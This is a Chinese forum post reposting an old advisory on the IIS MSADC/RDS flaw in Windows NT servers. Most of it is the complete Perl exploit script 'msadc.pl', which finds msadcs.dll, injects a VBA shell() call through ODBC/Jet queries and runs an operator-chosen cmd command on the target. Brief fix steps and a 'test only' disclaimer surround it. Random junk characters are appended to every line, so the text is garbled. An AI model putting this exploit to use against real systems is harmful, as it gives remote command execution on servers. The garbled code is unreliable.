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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) $suzW;{#  
1f=gYzuO)  
涉及程序: d)Y}>@:W  
Microsoft NT server &E5g3lf  
%YqEzlzF  
描述: p947w,1![  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 N6i Q8P -  
R%[ c;i  
详细: dhK~O.~m  
如果你没有时间读详细内容的话,就删除: #5o(h+w)  
c:\Program Files\Common Files\System\Msadc\msadcs.dll lA8`l>I  
有关的安全问题就没有了。 ]Gq !`O1  
:P0mx   
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 -r]W  
[FR`Z=%  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 oE]QF.n#  
关于利用ODBC远程漏洞的描述,请参看: -]M5wb2,  
mrtb*7`$  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 4ID5q~  
+A?U{q  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 <=C!VVk4f  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp <x>M o   
or}[h09qA  
这里不再论述。 Z=vU}S>r|v  
aWF655Fs*  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: IyG}H}  
m^;f(IK5  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset Q*ft7$l&  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! }b.%Im<3R  
J<jy2@"tXo  
M[,@{u/  
#将下面这段保存为txt文件,然后: "perl -x 文件名" -m~#Bq  
PALc;"]O  
#!perl 4~Q/"hMSkO  
# >}6%#CAf  
# MSADC/RDS 'usage' (aka exploit) script draN0v f  
# w NdisI  
# by rain.forest.puppy V)N%WX G  
# u.xnOcOH!  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me \(2sW^fY  
# beta test and find errors! B:'US&6Lf'  
,r\o}E2  
use Socket; use Getopt::Std; YS"=yye 3e  
getopts("e:vd:h:XR", \%args); P71Lqy)5}A  
"S?z@ i(K^  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; WNrk}LFof  
z!9-:  
if (!defined $args{h} && !defined $args{R}) { E+;7>ja  
print qq~ TAW/zpps$  
Usage: msadc.pl -h <host> { -d <delay> -X -v } XU(eEnmo m  
-h <host> = host you want to scan (ip or domain) 4@ai6,<  
-d <seconds> = delay between calls, default 1 second o0KL5].  
-X = dump Index Server path table, if available @|YH|/RF  
-v = verbose JT_ `.(  
-e = external dictionary file for step 5 BLD gt~h#  
A6(/;+n  
Or a -R will resume a command session DEZve Qr=  
*(DV\.l`  
~; exit;} vUM4S26"NT  
P+/e2Y  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; zIAD9mQex  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} $1`2 kM5  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} cSV aI  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); DN:EB @  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} \ }G> 8^  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } g]0_5?i  
3)ywX&4"L  
if (!defined $args{R}){ $ret = &has_msadc; ^k9I(f^c-_  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} [.wYdv35  
xU`p|(SS-  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" H9e<v4 c  
. "cmd /c "; 2[02,FG  
$in=<STDIN>; chomp $in; \bw2u!  
$command="cmd /c " . $in ; #AQV(;r7@  
8bld3p"^  
if (defined $args{R}) {&load; exit;} ~b8]H|<'Y  
Ig>(m49d  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; E r?&Y,o  
&try_btcustmr; / %io+94  
C;^X[x%h7$  
print "\nStep 2: Trying to make our own DSN..."; ~Z' ?LV<t  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; c{w2Gt!  
qlPT Ll  
print "\nStep 3: Trying known DSNs..."; 0LJv'  
&known_dsn; FU4L6n  
f ) L  
print "\nStep 4: Trying known .mdbs..."; )l DD\J7  
&known_mdb; IjnU?Bf  
d/~9&wLSb  
if (defined $args{e}){ _X x/(.O  
print "\nStep 5: Trying dictionary of DSN names..."; kE1TP]|  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } >fQMXfoY  
`e}B2;$A3  
print "Sorry Charley...maybe next time?\n"; aK^q_ghh[  
exit; "3Y0`&:D  
ey$&;1x#5  
############################################################################## ab?aQ*$+  
z<' u1l3  
sub sendraw { # ripped and modded from whisker o?Oc7 $+u  
sleep($delay); # it's a DoS on the server! At least on mine... 7 HYwLG:\~  
my ($pstr)=@_; @f3E`8  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || :Zw2'IV  
die("Socket problems\n"); R.<g3"Lm>  
if(connect(S,pack "SnA4x8",2,80,$target)){ {E|$8)58i  
select(S); $|=1; (TT}6j  
print $pstr; my @in=<S>; \ @2R9,9E  
select(STDOUT); close(S); +ami?#Sz*;  
return @in; "E4a=YH_  
} else { die("Can't connect...\n"); }} [ub e6  
KF:78C  
############################################################################## \YrUe1  
,r_Gf5c  
sub make_header { # make the HTTP request bW(0Ng  
my $msadc=<<EOT 4;2uW#dG"  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 FGBbO\< /  
User-Agent: ACTIVEDATA dioGAai'  
Host: $ip O5BYD=7  
Content-Length: $clen a/xn'"eli  
Connection: Keep-Alive 19%i mf  
\1M4Dl5!  
ADCClientVersion:01.06  _;\_l  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 SNk=b6`9  
ysnx3(+|  
--!ADM!ROX!YOUR!WORLD! ('+d.F[109  
Content-Type: application/x-varg F#5~M<`.o  
Content-Length: $reqlen 5'u<iSmBo  
M x" \5i  
EOT z},# ~L6$q  
; $msadc=~s/\n/\r\n/g; tw)mepwB  
return $msadc;} ^E>3|du]O  
~WF\  
############################################################################## 7D_=  
Xne1gms  
sub make_req { # make the RDS request  uHRsFlw  
my ($switch, $p1, $p2)=@_; BDQsP$'6QT  
my $req=""; my $t1, $t2, $query, $dsn; /Z}}(6T  
+D*Z_Yh6  
if ($switch==1){ # this is the btcustmr.mdb query :e+jU5;]3  
$query="Select * from Customers where City=" . make_shell(); <<O$ G7c  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . .O<obq~;C  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} -jm Y)(\  
ZXPX,~ 5o  
elsif ($switch==2){ # this is general make table query p!AAFmc  
$query="create table AZZ (B int, C varchar(10))"; sU^1wB Rj  
$dsn="$p1";} -MBxl`JU  
[0("Q;Ec[j  
elsif ($switch==3){ # this is general exploit table query 6Q5^>\Y  
$query="select * from AZZ where C=" . make_shell(); X1_5KH  
$dsn="$p1";} -m#)B~)  
SUK?z!f <i  
elsif ($switch==4){ # attempt to hork file info from index server lPAQ3t!,  
$query="select path from scope()"; SSzIih@u  
$dsn="Provider=MSIDXS;";} :\_ 5oVb  
Qn2&nD%zi  
elsif ($switch==5){ # bad query buHJB*?9  
$query="select"; $3kH~3{]  
$dsn="$p1";} j.= 1rwPt  
<9b &<K:  
$t1= make_unicode($query); es0hm2HT3  
$t2= make_unicode($dsn); V>3X\)qu  
$req = "\x02\x00\x03\x00"; XQw9~$  
$req.= "\x08\x00" . pack ("S1", length($t1)); )0k53-h&  
$req.= "\x00\x00" . $t1 ; }c:M^Ff  
$req.= "\x08\x00" . pack ("S1", length($t2)); E=O\0!F|b  
$req.= "\x00\x00" . $t2 ; [dVL&k<P  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; bpa?C  
return $req;} <(!:$  
&5!8F(7  
############################################################################## z\4.Gm-  
;q>ah!"k  
sub make_shell { # this makes the shell() statement 1G`Pmh@  
return "'|shell(\"$command\")|'";} <wHP2|<l*  
}Ou}+^Bc  
############################################################################## +LJ73 !  
bW+:C5'  
sub make_unicode { # quick little function to convert to unicode Y}KNKO;  
my ($in)=@_; my $out; &uVnZ@o42  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } RT8 ?7xFc  
return $out;} w&.a QGR#  
M D#jj3y  
############################################################################## h;'~,xA  
0b 54fD=  
sub rdo_success { # checks for RDO return success (this is kludge) x.4m|f0;  
my (@in) = @_; my $base=content_start(@in); :Llb< MY2  
if($in[$base]=~/multipart\/mixed/){ 3PF_H$`oJ  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 0PCGDLk8  
return 0;} \z)%$#I  
JK] PRDyD  
############################################################################## %@Jsal'  
MnHNjsO#  
sub make_dsn { # this makes a DSN for us N6TH}~62}  
my @drives=("c","d","e","f"); /g.U&oI]D  
print "\nMaking DSN: "; .fs3>@T"#  
foreach $drive (@drives) { cidP|ie^  
print "$drive: "; f%8C!W]Dm  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . "ocyK}l.?  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" 8RHUeRX  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); "9807OME  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; D)}v@je"yP  
return 0 if $2 eq "404"; # not found/doesn't exist IAyp2  
if($2 eq "200") { >@Kx>cg+  
foreach $line (@results) { W} ofAkF  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} -tU'yKhn  
} return 0;} ?&uu[y  
=i3n42M#  
############################################################################## NX&_p!_V  
dQG=G%W  
sub verify_exists { \ 6MCxh6  
my ($page)=@_; bhs _9ivw  
my @results=sendraw("GET $page HTTP/1.0\n\n"); @E8+C8'  
return $results[0];} >.D4co>  
[_:nHZb  
############################################################################## )YI(/*+]  
A?0Nm{O;3v  
sub try_btcustmr { O33 `+UV"W  
my @drives=("c","d","e","f");  f)<6  
my @dirs=("winnt","winnt35","winnt351","win","windows"); x|29L7i  
CU~PT.  
foreach $dir (@dirs) { M UwMb!Z.s  
print "$dir -> "; # fun status so you can see progress onV>.7sG  
foreach $drive (@drives) { Fs^Mw g o  
print "$drive: "; # ditto Y|/ 8up  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; VS|2|n1<6  
$reqlenlen=length( "$reqlen" ); 6E}qL8'5x  
$clen= 206 + $reqlenlen + $reqlen; .ccp  
VG~Vs@c(  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); KG{St{uJ  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} ,iwp,=h=  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} IUct  
EBmt9S  
############################################################################## nT)vNWT=  
/wlEe>i  
sub odbc_error { B|X!>Q<g  
my (@in)=@_; my $base; -%4,@ x`  
my $base = content_start(@in); @[v~y"tE}  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this ,wPr"U+7  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ~bpgSP"  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; r@,2E6xn  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ]]Ufas9  
return $in[$base+4].$in[$base+5].$in[$base+6];} i{qgn%#}Y  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 9o!Bzy+_  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . x$(f7?s] 1  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 8a"%0d#  
xe$_aBU  
############################################################################## 6d~'$<5on  
n._-! WI  
sub verbose { N4HqLh23H  
my ($in)=@_; ?Ss!e$jf  
return if !$verbose; Z$? #  
print STDOUT "\n$in\n";} ^d73Ig:8q  
HkVB80hv  
############################################################################## Jfl!#UAD|n  
7cMv/g^ h@  
sub save { uXl3k:_n  
my ($p1, $p2, $p3, $p4)=@_; An/|+r\  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; ~7Ux@Sx;  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; ;xn0;V'=  
close OUT;} J4U1t2@)9  
[opGZ`>)j"  
############################################################################## Qe(:|q _  
ku M$UYTTX  
sub load { h!9ei6  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; _u9Jxw?F@Y  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); }l9llu   
@p=<IN>; close(IN); T&7qC=E#5  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); zp?`N;  
$target= inet_aton($ip) || die("inet_aton problems"); 11;zNjD|  
print "Resuming to $ip ..."; }SCM I4\  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; FML(4BY,  
if($p[1]==1) { Wh{tZ~c  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; %e} Saf  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; bi;1s'Y<D  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); g< .qUBPKX  
if (rdo_success(@results)){print "Success!\n";} Rbv;?'O$L  
else { print "failed\n"; verbose(odbc_error(@results));}}  "-V"=t'  
elsif ($p[1]==3){ ?!/kZM_ts  
if(run_query("$p[3]")){ %vi83%$'4  
print "Success!\n";} else { print "failed\n"; }} BING{ew  
elsif ($p[1]==4){ El"Q'(:/U  
if(run_query($drvst . "$p[3]")){ LBP`hK:>W~  
print "Success!\n"; } else { print "failed\n"; }} ?=pT7M  
exit;} Yc*; /T}  
K\c#ig   
############################################################################## BTrn0  
;i+#fQO7Q  
sub create_table { 8DaL,bi*.  
my ($in)=@_; uWE^hz"  
$reqlen=length( make_req(2,$in,"") ) - 28; lks!w/yCF  
$reqlenlen=length( "$reqlen" ); 8, >P  
$clen= 206 + $reqlenlen + $reqlen; d m%8K6|  
my @results=sendraw(make_header() . make_req(2,$in,"")); ;i:d+!3XwC  
return 1 if rdo_success(@results); QkC(uS  
my $temp= odbc_error(@results); verbose($temp); q'MZ R'<@  
return 1 if $temp=~/Table 'AZZ' already exists/; ;gr9/Vl  
return 0;} II x#2r  
uY'HT|@:{  
############################################################################## 7. ;3e@s  
` sU/&  P  
sub known_dsn { ,$&&-p I]  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go @Do= k  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", ;sFF+^~L  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", S|+o-[e8O  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 4H]L~^CD  
|P}y,pNQ  
foreach $dSn (@dsns) { u,4eCxYE$  
print "."; nzeX[*  
next if (!is_access("DSN=$dSn")); JqiP>4Uwm^  
if(create_table("DSN=$dSn")){ }JAG7L&{  
print "$dSn successful\n"; 8Uxne2e  
if(run_query("DSN=$dSn")){ q> C'BIr  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { V3j= Kf  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 8)I^ t81  
H$4:lH&(  
############################################################################## @f_+=}|dc  
[ !OxZ!  
sub is_access { |ZBI *  
my ($in)=@_; #Mw8^FST  
$reqlen=length( make_req(5,$in,"") ) - 28; #>+HlT  
$reqlenlen=length( "$reqlen" ); Y:a]00&)#Y  
$clen= 206 + $reqlenlen + $reqlen; H7:] ]j1  
my @results=sendraw(make_header() . make_req(5,$in,"")); ]OzUGXxo~  
my $temp= odbc_error(@results); ]z9=}=If  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); HyWCMK6b  
return 0;} ?6Y?a2 |  
D}/vLw:v  
############################################################################## a:6m7U)P#5  
Tnm.A?  
sub run_query { M =r)I~  
my ($in)=@_; 5XB H$&Td  
$reqlen=length( make_req(3,$in,"") ) - 28; Ph> %7M%  
$reqlenlen=length( "$reqlen" ); +srGN5!  
$clen= 206 + $reqlenlen + $reqlen; ')3 bl3:  
my @results=sendraw(make_header() . make_req(3,$in,"")); gB'6`'  
return 1 if rdo_success(@results); Q'0d~6n&{  
my $temp= odbc_error(@results); verbose($temp); 6NHX2Ja  
return 0;} &.?'i1!  
n.(FQx.F  
############################################################################## @MCg%Afw  
g}',(tPMZ  
sub known_mdb { K(Bf2Mfq  
my @drives=("c","d","e","f","g"); tZG:Pr1U@  
my @dirs=("winnt","winnt35","winnt351","win","windows"); z' >_Mc6  
my $dir, $drive, $mdb; n6a`;0f[R  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; HC,Se.VYS  
[IhYh<i  
# this is sparse, because I don't know of many Ek]'km!  
my @sysmdbs=( "\\catroot\\icatalog.mdb", )+2hl  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", Jg| XH L)  
"\\system32\\certmdb.mdb", d-dEQKI?;  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% N<injx  
R*2E/8Ia  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", \P`hq^;  
"\\cfusion\\cfapps\\forums\\forums_.mdb", >\3V a  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", &KRX[2  
"\\cfusion\\cfapps\\security\\realm_.mdb", Npy :!  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 6~w@PRy  
"\\cfusion\\database\\cfexamples.mdb", JcxThZP~  
"\\cfusion\\database\\cfsnippets.mdb", #O dJ"1A|  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", #4 pB@_  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", SI-Ops~e  
"\\cfusion\\brighttiger\\database\\cleam.mdb", jtc]>]6i  
"\\cfusion\\database\\smpolicy.mdb", NHZz _a=  
"\\cfusion\\database\cypress.mdb", s,&Z=zt0R  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", JnM["Q=`  
"\\website\\cgi-win\\dbsample.mdb", '(|ofJe!  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", dNeVo|Y~h  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" QB'aON\S  
); #these are just @2 fg~2M1  
foreach $drive (@drives) { E09 :E  
foreach $dir (@dirs){ v z '&%(  
foreach $mdb (@sysmdbs) { 0.k7oB;f(@  
print "."; 7%eK37@u  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ SKsKPqz  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; @t_=Yl2;  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 'AH0ww_)n  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; DN57p!z  
} else { print "Something's borked. Use verbose next time\n"; }}}}} o:Sa, !DK  
&FN.:_E  
foreach $drive (@drives) { ckE-",G  
foreach $mdb (@mdbs) { _>X+ZlpU:  
print "."; 0^K">  
if(create_table($drv . $drive . $dir . $mdb)){ eV?2LtT#5  
print "\n" . $drive . $dir . $mdb . " successful\n"; Zba2d,8/  
if(run_query($drv . $drive . $dir . $mdb)){ dVT$VQg  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; @QPz #-  
} else { print "Something's borked. Use verbose next time\n"; }}}} M:B=\&.O  
} 338k?nHxv  
n8ZZ#}Nhg  
############################################################################## q'Tf,a  
'@k+4y9q?  
sub hork_idx { X?qK0fS  
print "\nAttempting to dump Index Server tables...\n"; +OWX'~fd<  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; LuvY<~u  
$reqlen=length( make_req(4,"","") ) - 28; (V67`Z )  
$reqlenlen=length( "$reqlen" ); .jjG(L  
$clen= 206 + $reqlenlen + $reqlen; JYbL?N  
my @results=sendraw2(make_header() . make_req(4,"","")); Vb]=B~^`  
if (rdo_success(@results)){ ={@6{-tl  
my $max=@results; my $c; my %d; D7Q$R:6|  
for($c=19; $c<$max; $c++){ > jc [nk  
$results[$c]=~s/\x00//g; ]K,Tnyp  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; K F!Yf\  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; Od,qbU4O  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; fSvM(3Y<Qh  
$d{"$1$2"}="";} Uf;^%*P4  
foreach $c (keys %d){ print "$c\n"; } R|87%&6']  
} else {print "Index server doesn't seem to be installed.\n"; }} K} X&AJ5A  
_TQj~W<  
############################################################################## }l} Bo.C  
t)$:0  
sub dsn_dict { "n5N[1b k  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); Ig0VW)@  
while(<IN>){ _H7x9 y=  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; #( 146  
next if (!is_access("DSN=$dSn")); '$]97b7G  
if(create_table("DSN=$dSn")){ >$/>#e~  
print "$dSn successful\n"; O)n~](sC\  
if(run_query("DSN=$dSn")){ 9gK` E  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { M\Ye<Tk  
print "Something's borked. Use verbose next time\n";}}} 84zSK)=Y  
print "\n"; close(IN);} B !L{  
rlSeu5X6  
##############################################################################  < !C)x  
['tY4$L(  
sub sendraw2 { # ripped and modded from whisker SP_75BJ  
sleep($delay); # it's a DoS on the server! At least on mine... w;:*P  
my ($pstr)=@_; }-2 2XYh  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || nBSYsp{  
die("Socket problems\n"); t pQ(g%  
if(connect(S,pack "SnA4x8",2,80,$target)){ YWO)HsjP  
print "Connected. Getting data"; bI9~jWgGp  
open(OUT,">raw.out"); my @in; ~H<6gN<j(.  
select(S); $|=1; print $pstr; +.b,AqJ/  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} .2Elr(&*h  
close(OUT); select(STDOUT); close(S); return @in; hT&Y#fh  
} else { die("Can't connect...\n"); }} LxSpctiNx  
!")tU+:  
############################################################################## 6Vnsi%{  
Nkth>7*  
sub content_start { # this will take in the server headers W/bQd)Jvk  
my (@in)=@_; my $c; Ee%%d  
for ($c=1;$c<500;$c++) { `MN4uC  
if($in[$c] =~/^\x0d\x0a/){ ,77d(bR<  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } _FU_Ubkr  
else { return $c+1; }}} $AjHbU.I{  
return -1;} # it should never get here actually '"/=f\)u  
!6O(-S2A  
############################################################################## goOCu  
dhf!o0'1M  
sub funky { u5b|#&-mX  
my (@in)=@_; my $error=odbc_error(@in); BLf>_b Uk  
if($error=~/ADO could not find the specified provider/){ h# o6K#  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; g63(E,;;J  
exit;} XZ]uUP  
if($error=~/A Handler is required/){ vDhh>x(  
print "\nServer has custom handler filters (they most likely are patched)\n"; B:S>wFE(.  
exit;} i0kak`x0  
if($error=~/specified Handler has denied Access/){ }t=!(GOb}  
print "\nServer has custom handler filters (they most likely are patched)\n"; }"P|`"WW  
exit;}} b)5uf'?-  
P90yI  
############################################################################## BWv^ zi  
7p16Hv7y~  
sub has_msadc { IT7wT+  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); J~ zUp(>K  
my $base=content_start(@results); o!Ieb  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); w3obIJm  
return 0;} g._]8{K  
v,{ :Ez(H  
######################## :vqgGKml$  
bL+_j}{:N  
RSyUaA  
解决方案: y@:h4u"3  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll mCsMqDH  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 2~1SQ.Q<RY  
+_?hK{Ib"  
拿出来充数 哈哈
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